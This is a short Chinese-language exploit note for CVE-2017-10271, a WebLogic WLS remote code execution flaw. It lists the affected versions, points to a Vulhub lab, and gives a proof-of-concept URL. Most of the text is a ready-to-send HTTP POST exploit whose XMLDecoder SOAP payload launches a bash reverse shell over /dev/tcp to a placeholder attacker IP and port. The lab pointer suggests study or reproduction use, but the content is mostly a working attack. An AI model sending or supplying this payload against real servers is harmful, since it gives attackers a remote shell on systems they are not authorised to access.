CVE-2017-10271-RCE

0x01 漏洞概述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击。

0X02 漏洞版本

  1. 10.3.6.0.0
  2. 12.1.3.0.0
  3. 12.2.1.1.0
  4. 12.2.1.2.0

0x03 漏洞复现

  1. /Vulhub/weblogic/CVE-2017-10271

POC

  1. http://IP:port/wls-wsat/CoordinatorPortType11

CVE-2017-10271-RCE - 图1

EXP

  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.0.140:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 637
  11. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">     <soapenv:Header>
  12. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13. <java version="1.4.0" class="java.beans.XMLDecoder">
  14. <void class="java.lang.ProcessBuilder">
  15. <array class="java.lang.String" length="3">
  16. <void index="0">
  17. <string>/bin/bash</string>
  18. </void>
  19. <void index="1">
  20. <string>-c</string>
  21. </void>
  22. <void index="2">
  23. <string>bash -i &gt;&amp; /dev/tcp/IP/port 0&gt;&amp;1</string>
  24. </void>
  25. </array>
  26. <void method="start"/></void>
  27. </java>
  28. </work:WorkContext>
  29. </soapenv:Header>
  30. <soapenv:Body/>
  31. </soapenv:Envelope>

CVE-2017-10271-RCE - 图2